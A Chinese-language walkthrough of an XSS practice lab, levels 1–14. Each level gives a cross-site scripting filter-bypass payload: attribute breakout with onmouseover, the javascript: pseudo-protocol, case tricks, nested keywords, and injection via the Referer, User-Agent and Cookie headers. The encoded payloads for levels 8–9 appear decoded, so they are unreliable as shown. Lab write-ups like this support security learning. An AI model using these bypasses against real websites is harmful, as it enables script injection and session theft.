第一关
无过滤,直接使用<script>alert(1)</script>
第二关
用'';!--"<XSS>=&{()}
进行测试发现有两个输出点,第一个输出点进行了html实体化。
![2(http://upload-images.jianshu.io/upload_images/5858942-6f09d0839c1b6937.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
闭合掉value后使用新属性执行js(在火狐上onload无法执行 )
" onmouseover="alert('test')
第三关
两处都用htmlspecialchars函数处理了,但htmlspecialchars函数默认不处理引号,所以第二处可以进行闭合引入新属性。
' onmouseover='alert(1)
第四关
可以看出只是将单引号变为了双引号。闭合后添加新属性:
" onmouseover="alert(1)
第五关
可以看出破坏了onmouseover标签,但输出点2没有进行任何过滤。
闭合input标签后后用a标签和javascript 伪协议绕过。
"><a href=javascript:alert(2)>
第六关
可以看出herf也被破坏了,但测试发现通过修改大小写可以绕过(on*标签不可以)
" ><a hRef=javascript:alert(2)>
第七关
可以看出是将关键词过滤为空,考虑嵌套关键词
" ><scripscriptt>alert(1)</scriscriptpt>
第八关
输出点在a标签的href属性中且引号被过滤无法进行闭合,考虑使用javascript伪协议,但关键词被过滤,因为在href属性中,所以用html编码绕过。
javascript:alert(2)
第九关
友情链接必须包含http://
,javascript被过滤,将伪协议代码html编码并在后面注释上http://
javascript:alert(2)//http://
第十关
这关就有点坑了,一开始那个输入点没人任何办法绕过,发现有隐藏的输入点
测试后发现t_sort参数有输出点且无过滤。
keyword=1&t_sort=1" onmouseover='alert(1)'
(如果没有将input改为可见可以使用其他on*事件)
第十一关
进入时发现有一个隐藏的input的值为第十关的url,可以确定为refer,测试其他输入点均被过滤且无法绕过,尝试修改Referer为xss语句,成功绕过
Referer: " onmouseover="alert(1)
第十二关
这次又显示浏览器信息,这次修改User-Agent
User-Agent: " onmouseover="alert(2)
第十三关
这次的输入点到了cookie中,修改cookie
Cookie: user=" onmouseover="alert(1);
第十四关
这关好像已经失效了,是关于exif的